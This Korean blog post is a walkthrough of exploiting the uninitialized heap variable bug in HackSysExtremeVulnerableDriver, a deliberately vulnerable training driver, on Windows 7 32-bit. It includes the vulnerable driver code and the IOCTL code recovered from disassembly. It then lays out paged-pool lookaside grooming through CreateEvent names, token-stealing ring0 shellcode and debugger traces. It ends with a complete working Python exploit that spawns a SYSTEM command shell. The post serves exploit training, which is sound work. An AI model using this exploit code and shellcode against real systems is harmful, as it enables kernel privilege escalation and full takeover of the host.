#dokydoky
[KR] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) 본문
[KR] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool)
dokydoky 2016. 12. 6. 23:060x0. Introduction
0x1. Vulnerable code
0x2. How to trigger
0x3. Exploit
> Populate LookAside List of Paged pool
> Shellcode(Privilege Escalation)
> Full Exploit code
0x0. Introduction
안녕하세요. dokydoky입니다. Windows Kernel Exploitation(by Ashfaq Ansari)의 과제였던 "Uninitialize Heap Variable"에 대해 정리해봤습니다. 도움을 주신 Ashfaq Ansari에게 감사의 말씀을 전합니다. 그리고 HackSysExtremeVulnerableDriver의 Pool Overflow, UAF 익스플로잇 코드의 많은 부분을 참고하여 사용했습니다.
Environment : Windows 7 SP1 32bit, single processor
Target Driver : HackSysExtremeVulnerableDriver(by @HackSys Team)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
HackSysExtremeVulnerableDriver github에 들어가면 커널 드라이버를 다운 받으실 수 있습니다. 컴파일된 버전은 아래 링크
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys
0x1. Vulnerable code
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));
// Allocate Pool chunk
UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
ExAllocatePoolWithTag(PagedPool,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)POOL_TAG);
......
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
......
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedHeapVariable->Value = UserValue;
UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;
// Fill the buffer with ASCII 'A'
RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);
// Null terminate the char buffer
UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG)) - 1] = '\0';
}
......
// Call the callback function
if (UninitializedHeapVariable) {
......
UninitializedHeapVariable->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
NTSTATUS UninitializedHeapVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
if (UserBuffer) {
Status = TriggerUninitializedHeapVariable(UserBuffer);
}
return Status;
}
UninitializedHeapVariable에 Paged Pool을 할당한 뒤, UserValue가 MagicValue와 같으면 UninitializedHeapVariable의 초기화를 진행합니다.
하지만, 같지 않으면 초기화되지 않은 UninitializedHeapVariable의 Callback함수를 호출하게 됩니다.
UserValue는 UserBuffer의 값으로 Usermode에서 조작이 가능하기 때문에, 취약점을 트리거 할 수 있습니다.
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG Value;
FunctionPointer Callback;
ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
UninitializedHeapVariable 타입인 UNINITIALIZED_HEAP_VARIABLE 구조체는 위와 같습니다.
크기는 240(0xF0)byte.
0x2. How to trigger
HackSysExtremeVulnerableDriver는 IOCTL 인터페이스가 정의되어 있습니다. 따라서 유저 모드에서 IOCTL을 이용하여 드라이버의 함수 호출이 가능합니다.
유저모드에서 IOCTL을 호출 할 경우, 드라이버의 MajorFunction[IRP_MJ_DEVICE_CONTROL]가 호출됩니다.
HackSysExtremeVulnerableDriver.c
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
......
// Assign the IRP handlers for Create, Close and Device Control
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
......
return Status;
}
......
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp) {
switch (IoControlCode) {
......
case HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE:
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
Status = UninitializedStackVariableIoctlHandler(Irp, IrpSp);
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
break;
case HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE:
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
Status = UninitializedHeapVariableIoctlHandler(Irp, IrpSp);
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
MajorFunction[IRP_MJ_DEVICE_CONTROL]인 IrpDeviceIoCtlHandler 내부에서는 IoControlCode에 따라 handler를 호출합니다.
우리가 원하는 UninitializedHeapVariableIoctlHandler분기를 타기 위해서는 IoControlCode가 "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"일 경우입니다.
HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)
// CTL_CODE macro definition
CTL_CODE(
DeviceType, // Identifies the device type
Function, // Identifies the function to be performed by the driver
Method, // Indicates how the system will pass data between the caller and driver
Access // Indicate the type of access
);
"HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"는 위와 같이 선언되어 있습니다.
전송 타입은 METHOD_NEITHER로, 유저모드에서 버퍼를 인자로 넘기면 입출력 관리자는 시스템 버퍼나 MDL을 제공하지 않고 유저모드의 가상주소를 제공합니다.
또한, 권한은 FILE_ANY_ACCESS로, 드라이버의 핸들을 가지고 있는 모든 호출자에 대해 입출력 관리자는 IRP를 전송합니다.
유저모드에서 IOCTL을 호출하기 위해서는 DeviceIoControl API를 사용하면 되며, Device 핸들, IoControlCode, UserBuffer등을 설정해줍니다.
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
dwIoControlCode의 타입은 DWORD이므로, 바이너리에서 HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE가 어떻게 표현되는지 확인해봅시다.
edx = IoControlCode
loc_1505A:
mov eax, edx
sub eax, 22201Fh
jz loc_150FD
...
push 4
pop ecx
sub eax, ecx
jz short loc_150E8
...
sub eax, ecx
jz short loc_150D3
...
sub eax, ecx
jz short loc_150BE
...
sub eax, ecx
jz short loc_150A9
...
sub eax, ecx
jz short loc_15094
...
loc_15094: ; "****** HACKSYS_EVD_IOCTL_UNINITIALIZED_"...
mov ebx, offset aHacksys_evd__5
push ebx ; Format
call _DbgPrint
pop ecx
push esi ; IrpSp
push edi ; Irp
call _UninitializedHeapVariableIoctlHandler@8 ; UninitializedHeapVariableIoctlHandler(x,x)
jmp short loc_15110
IoControlCode-22201F-4-4-4-4-4 = 0
IoControlCode = 0x222033 임을 알 수 있습니다.
최종적으로, 아래와 같이 IOCTL을 호출하면 Uninitialized heap variable 취약점을 트리거 할 수 있습니다.
hDevice = CreateFile("\\\\.\\HackSysExtremeVulnerableDriver",
GENERAL_READ | GENERAL_WRITE,
None,
None,
OPEN_EXISTING,
None,
None)
pUserBuffer = "AAAA" // not 0xBAD0B0B1
DeviceIoControl(hDevice,
0x222033,
pUserBuffer,
0x4,
None,
0,
None,
None)
0x3. Exploit
> Populate LookAside List of Paged pool
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));
// Allocate Pool chunk
UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
ExAllocatePoolWithTag(PagedPool,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)POOL_TAG);
......
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
......
// Call the callback function
if (UninitializedHeapVariable) {
......
UninitializedHeapVariable->Callback();
......
}
초기화 되지 않은 변수는 UninitializedHeapVariable로 크기는 0xF0(240)byte입니다. Pool header를 포함하면 paged pool에는 실제 0xF8 크기의 chunk가 할당됩니다.
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG Value;
FunctionPointer Callback;
ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
프로그램의 흐름을 바꾸기 위해서는 UninitializedHeapVariable 구조체에서 Callback 멤버의 값을 조작해야 합니다.
그리고, Callback 멤버의 값을 우리가 원하는 값으로 변경하기 위해서는 아래와 같은 과정이 필요합니다.
1) 0xF8 크기의 chunk를 Paged pool에 256개 할당(이 때, chunk의 +4 위치에 Callback 멤버에 할당하고자 하는 값을 설정)
2) 위에서 할당한 256개의 chunk를 해제 -> 우리가 조작한 chunk로 LookAside List가 채워짐.
3) UninitializedHeapVariable 변수를 할당하면, LookAside List에서 우리가 조작된 chunk가 할당됨.
위의 내용을 보기 전에 우선 알아야 할 것이 있습니다.
pool chunk를 해제할 때, block size가 0x20이하면 최대 256개의 chunk를 LookAside List에 넣어 관리하고, 추가적인 chunk들은 ListHead에서 관리하게 됩니다.
이 때, LookAside List의 chunk들은 데이터의 4byte가 overwrite되며, ListHead의 chunk들은 데이터의 8byte가 overwrite됩니다.
LookAside List |
| _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) | ....... | | Single Linked List |
ListHead |
| _POOL_HEADER (8byte) | _LIST_ENTRY (8byte) | ....... | | Double Linked List |
우리의 목표인 Callback 멤버는 구조체의 +4위치에 있으므로, LookAside List에서 할당받아야 합니다.
아래는 chunk를 free하기 전과 후의 모습을 비교한 표 입니다.
Before free |
| _POOL_HEADER (8byte) | Value (4byte) | Callback (4byte) | Buffer[58] | |
After free |
| _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) | Callback (4byte) | Buffer[58] | |
Paged pool 할당을 위해서는 CreateEvent API를 사용했습니다.
할당되는 Event Object는 Non-Paged pool에 할당이 되지만, lpName은 Paged pool에 할당이 됩니다.
따라서, lpName에 0xF0크기의 문자열을 인자로 준다면, Paged Pool에 0xF8(헤더:0x8,데이터:0xF0)의 chunk를 할당할 수 있습니다.
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
def populate_lookaside():
ring0_payload = (
"\x60" # 00000000: pushad
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
"\x61" # 00000033: popad
"\xc3" # 00000034: ret
)
ring0_payload_address = id(ring0_payload) + 20
debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))
k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)
kernel32.DebugBreak()
# Maxium is 256
for i in xrange(256):
tmp = str(i).zfill(4) + '\x00\x00'
event_objectsB.append(kernel32.CreateEventW(None,
True,
False,
c_char_p(k+tmp)))
if not event_objectsB[i]:
debug_print("\t[-] Unable to allocate Event objectsB")
sys.exit(-1)
kernel32.DebugBreak()
for i in xrange(0, len(event_objectsB), 1):
if not close_handle(event_objectsB[i]):
debug_print("\t[-] Unable to close Event objectsB handle")
kernel32.DebugBreak()
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
9cec7388: size:0F8 prev:058 index:02 type:05 tag:Rpc.
9cfbe000: size:0F8 prev:000 index:03 type:05 tag:EtwP
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc int 3
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc int 3
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
9c97ee38: size:0F8 prev:068 index:02 type:05 tag:ObNm
99da3838: size:0F8 prev:018 index:01 type:05 tag:ObNm
9cfbe000: size:0F8 prev:000 index:03 type:05 tag:ObNm
9cec7388: size:0F8 prev:058 index:02 type:05 tag:ObNm
> Shellcode(Privilege Escalation)
Shellcode는 @Hacksys team의 github에 있는 소스를 사용했습니다.(thank you for your detailed comment @Ashfaq Ansari)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Source/Payloads.c#L145
ring0_payload = (
"\x60" # 00000000: pushad
# Start of Token Stealing Stub
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
# End of Token Stealing Stub
"\x61" # 00000033: popad
# Kernel Recovery Stub
"\xc3" # 00000034: ret
)
payload의 내용은 System process의 token을 현재 쓰레드의 token에 덮어씌우는 것으로, 현재 쓰레드의 권한을 System권한으로 변경하는 것입니다.
BSOD가 발생하지 않도록 payload 앞,뒤로 pushad, popad를 통해 레지스터를 보존시켜줍니다.
또한, shellcode 실행 이후에 커널 스택 프레임을 정상적으로 맞춰줘야 하는데, shellcode 진입시 아래와 같이 별도의 파라미터 없이
call dword ptr [eax+4] 명령을 통해 shellcode로 진입하므로, popad 명령 뒤에 ret 명령어만 추가 시켜주면 됩니다.
HEVD!TriggerUninitializedHeapVariable+0xf7 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 149]:
149 92b4bd39 ff30 push dword ptr [eax]
149 92b4bd3b 6804c8b492 push offset HEVD! ?? ::NNGAKEGL::`string' (92b4c804)
149 92b4bd40 e8c1c2ffff call HEVD!DbgPrint (92b48006)
150 92b4bd45 8b45e4 mov eax,dword ptr [ebp-1Ch]
150 92b4bd48 ff7004 push dword ptr [eax+4]
150 92b4bd4b 68d4c7b492 push offset HEVD! ?? ::NNGAKEGL::`string' (92b4c7d4)
150 92b4bd50 e8b1c2ffff call HEVD!DbgPrint (92b48006)
150 92b4bd55 83c410 add esp,10h
152 92b4bd58 8b45e4 mov eax,dword ptr [ebp-1Ch]
152 92b4bd5b ff5004 call dword ptr [eax+4]
154 92b4bd5e eb24 jmp HEVD!TriggerUninitializedHeapVariable+0x142 (92b4bd84)
HEVD!TriggerUninitializedHeapVariable+0x142 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 158]:
158 92b4bd84 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
160 92b4bd8b 8b45e0 mov eax,dword ptr [ebp-20h]
HEVD!TriggerUninitializedHeapVariable+0x14c [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 161]:
161 92b4bd8e e8c6c2ffff call HEVD!__SEH_epilog4 (92b48059)
161 92b4bd93 c20400 ret 4
Breakpoint 0 hit
HEVD!TriggerUninitializedHeapVariable+0x119:
92b4bd5b ff5004 call dword ptr [eax+4]
kd> dd @eax
ae1cf9c0 00000000 017ad084 46464646 46464646
ae1cf9d0 46464646 46464646 46464646 46464646
ae1cf9e0 46464646 46464646 46464646 46464646
ae1cf9f0 46464646 46464646 46464646 46464646
ae1cfa00 46464646 46464646 46464646 46464646
ae1cfa10 46464646 46464646 46464646 46464646
ae1cfa20 46464646 46464646 46464646 46464646
ae1cfa30 46464646 46464646 46464646 46464646
kd> uf poi(@eax+4)
017ad084 60 pushad
017ad085 31c0 xor eax,eax
017ad087 648b8024010000 mov eax,dword ptr fs:[eax+124h]
017ad08e 8b4050 mov eax,dword ptr [eax+50h]
017ad091 89c1 mov ecx,eax
017ad093 ba04000000 mov edx,4
017ad098 8b80b8000000 mov eax,dword ptr [eax+0B8h]
017ad09e 2db8000000 sub eax,0B8h
017ad0a3 3990b4000000 cmp dword ptr [eax+0B4h],edx
017ad0a9 75ed jne 017ad098
017ad0ab 8b90f8000000 mov edx,dword ptr [eax+0F8h]
017ad0b1 8991f8000000 mov dword ptr [ecx+0F8h],edx
017ad0b7 61 popad
017ad0b8 c3 ret
> Full Exploit code
# -*- coding: utf-8 -*-
import sys
from ctypes import *
import struct
import subprocess
event_objects = []
kernel32 = windll.kernel32
def debug_print(message):
print(message)
kernel32.OutputDebugStringA(message + "\n")
def get_device_handle(device):
open_existing = 0x3
generic_read = 0x80000000
generic_write = 0x40000000
handle = kernel32.CreateFileA(device,
generic_read | generic_write,
None,
None,
open_existing,
None,
None)
if not handle:
debug_print("\t[-] Unable to get device handle")
sys.exit(-1)
return handle
def close_handle(handle):
# BOOL WINAPI CloseHandle(
# _In_ HANDLE hObject
# );
# close the device handle
return kernel32.CloseHandle(handle)
def populate_lookaside():
ring0_payload = (
"\x60" # 00000000: pushad
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
"\x61" # 00000033: popad
"\xc3" # 00000034: ret
)
ring0_payload_address = id(ring0_payload) + 20
debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))
k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)
# Maxium is 256
for i in xrange(256):
tmp = str(i).zfill(4) + '\x00\x00'
event_objects.append(kernel32.CreateEventW(None,
True,
False,
c_char_p(k+tmp)))
if not event_objects[i]:
debug_print("\t[-] Unable to allocate Event objects")
sys.exit(-1)
for i in xrange(0, len(event_objects), 1):
if not close_handle(event_objects[i]):
debug_print("\t[-] Unable to close Event objects handle")
def get_process_id(process_name):
process_id = None
th32cs_snapprocess = 0x2
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684839(v=vs.85).aspx
class PROCESSENTRY32(Structure):
_fields_ = [
('dwSize', c_uint),
('cntUsage', c_uint),
('th32ProcessID', c_uint),
('th32DefaultHeapID', c_uint),
('th32ModuleID', c_uint),
('cntThreads', c_uint),
('th32ParentProcessID', c_uint),
('pcPriClassBase', c_long),
('dwFlags', c_uint),
('szExeFile', c_char * 260),
('th32MemoryBase', c_long),
('th32AccessKey', c_long)
]
process_entry_32 = PROCESSENTRY32()
process_entry_32.dwSize = sizeof(PROCESSENTRY32)
# HANDLE WINAPI CreateToolhelp32Snapshot(
# _In_ DWORD dwFlags,
# _In_ DWORD th32ProcessID
# );
handle_process_snapshot = kernel32.CreateToolhelp32Snapshot(th32cs_snapprocess,
0)
if not handle_process_snapshot:
debug_print("\t[-] Unable to get snapshot")
sys.exit(-1)
# BOOL WINAPI Process32First(
# _In_ HANDLE hSnapshot,
# _Inout_ LPPROCESSENTRY32 lppe
# );
success = kernel32.Process32First(handle_process_snapshot,
byref(process_entry_32))
if not success:
debug_print("\t[-] Unable to get the first process information")
sys.exit(-1)
while success:
if process_entry_32.szExeFile.lower() == process_name:
process_id = process_entry_32.th32ProcessID
break
# BOOL WINAPI Process32Next(
# _In_ HANDLE hSnapshot,
# _Out_ LPPROCESSENTRY32 lppe
# );
success = kernel32.Process32Next(handle_process_snapshot,
byref(process_entry_32))
# now close the handle
close_handle(handle_process_snapshot)
return process_id
def is_process_having_high_privilege(process_to_open):
process_all_access = 0x1F0FFF
# DWORD WINAPI GetProcessId(
# _In_ HANDLE Process
# );
# get the process id of the process we want to open
process_id = get_process_id(process_to_open)
if not process_id:
debug_print("\t[-] Unable to get the process id of: {0}".format(process_to_open))
sys.exit(-1)
# HANDLE WINAPI OpenProcess(
# _In_ DWORD dwDesiredAccess,
# _In_ BOOL bInheritHandle,
# _In_ DWORD dwProcessId
# );
# try to open the target process
handle_process = kernel32.OpenProcess(process_all_access, False, process_id)
if not handle_process:
return False
return True
if __name__ == "__main__":
pool_buffer_size = 0xF0
bytes_returned = c_ulong()
ioctl_uninitialized_heap = 0x00222033
device_name = "\\\\.\\HackSysExtremeVulnerableDriver"
magicValue = struct.pack('<I', 0xBAD0B0B1)
# order (trigger => 3 only)
# 1. prepare user buffer
# 2. populate lookaside list
# 3. ioctl request
# heap size = 0xF0 = 240
debug_print("[+] Preparing user mode buffer")
user_mode_buffer = magicValue
user_mode_buffer_address = id(user_mode_buffer) + 20
debug_print("\t[*] User Mode buffer: {0}".format(hex(user_mode_buffer_address)))
# now get the handle to the vulerable driver
debug_print("[+] Opening vulerable device: {0}".format(device_name))
device_handle = get_device_handle(device_name)
debug_print("[+] Triggering Uninitialized Heap Variable")
debug_print("\t[*] Sending IOCTL Code: {0}".format(hex(ioctl_uninitialized_heap)))
# populate lookaside list
populate_lookaside()
# ioctl request - Trigger
kernel32.DeviceIoControl(device_handle,
ioctl_uninitialized_heap,
user_mode_buffer_address,
0x4,
None,
0,
byref(bytes_returned),
None)
# close the device handle
debug_print("[+] Closing device handle")
if not close_handle(device_handle):
debug_print("\t[-] Unable to close device handle")
# if we are here, it means that the exploit was successful
# let's free the Event objects
#debug_print("\t[*] Freeing Event objects")
#free_event_objects()
debug_print("[+] Checking Current Process Privileges")
if not is_process_having_high_privilege(process_to_open="csrss.exe"):
debug_print("\t[-] Failed to elevate privileges")
sys.exit(-1)
# if you are here, you are ninja
# we have successfully elevated our privileges
debug_print("\t[*] Successfully elevated privileges")
# spawn a command shell with SYSTEM privilege
debug_print("[+] Spawning CMD with SYSTEM privilege")
program_pid = subprocess.Popen("cmd.exe",
creationflags=subprocess.CREATE_NEW_CONSOLE,
close_fds=True).pid
debug_print("\t[*] Shell Process ID: {0}".format(program_pid))
# good bye
debug_print("[+] Good bye... Happy exploitation")
한 가지 주의할 점은 재부팅 후 2분정도 후에 LookAside List가 활성화되기 때문에, 재부팅 후 바로 exploit코드를 실행 할 경우 실패할 수 있습니다.
LookAside List가 활성화 된 후에는 100% 성공합니다.
'Windows Exploit' 카테고리의 다른 글
[Eng] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) (0) | 2016.12.08 |
---|---|
Windows Kernel Pool (0) | 2016.11.30 |
verifier on/off 비교(UAF, double free) (0) | 2016.11.15 |